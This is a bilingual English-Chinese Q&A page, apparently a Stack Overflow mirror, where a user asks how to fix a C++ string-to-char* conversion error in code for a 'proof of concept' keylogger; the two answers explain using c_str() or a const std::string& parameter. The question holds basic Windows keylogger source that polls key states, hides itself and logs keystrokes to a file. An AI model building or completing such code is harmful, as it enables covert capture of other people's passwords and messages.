C++ 无法将参数 '2' 的 'std::string {aka std::basic_string<char>}' 转换为 'char*' 到 'int Save(int, char*)'
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cannot convert 'std::string {aka std::basic_string<char>}' to 'char*' for argument '2' to 'int Save(int, char*)'
提问by Mackedack
I'm currently working on a simple keylogger to prove a concept. But I keep getting this error:
我目前正在研究一个简单的键盘记录器来证明一个概念。但我不断收到此错误：
cannot convert 'std::string {aka std::basic_string<char>}' to 'char*' for argument '2' to 'int Save(int, char*)'
And yes, I have searched around, but none of them worked. I'm trying to read to a variable from a text file.
是的，我四处寻找，但没有一个起作用。我正在尝试从文本文件中读取变量。
How do I fix it? Code:
我如何解决它？代码：
int Save (int key_stroke, char *file);
int getFile (string file);
void Stealth();
string fileN;
int main()
{
ifstream fN("c.txt");
fN >> fileN;
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,fileN);
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
回答by Armen Tsirunyan
In order to get a C-style string from an std::string, use the c_str()member function. It will return a null-terminated const char *. Your function, however, seems to take char*. You could, of course, const_castthe pointer to get the char*but a far more reasonable approach would be for your function to take const char*or const std::string&in the first place.
为了从 中获取 C 风格的字符串std::string，请使用c_str()成员函数。它将返回一个以 null 结尾的const char *. 但是，您的功能似乎需要char*. 当然，您可以const_cast获取指针，char*但更合理的方法是让您的函数采用const char*或const std::string&首先采用。
回答by Mike Seymour
As the error message says, you're trying to pass a std::stringto a function that expects a pointer to a character array.
正如错误消息所说，您正在尝试将 a 传递std::string给需要指向字符数组的指针的函数。
The best solution is to change the function to work with a string:
最好的解决方案是更改函数以使用字符串：
int Save (int key_stroke, const std::string & file);
and then extract a pointer when you need one
然后在需要时提取一个指针
fopen(file.c_str(), "a+");
^^^^^^^^
Alternatively, if you want to preserve the C-style aesthetic of your code, you could change the parameter type to const char *, and pass fileN.c_str()to it.
或者，如果您想保留代码的 C 风格美感，您可以将参数类型更改为const char *，然后传递fileN.c_str()给它。
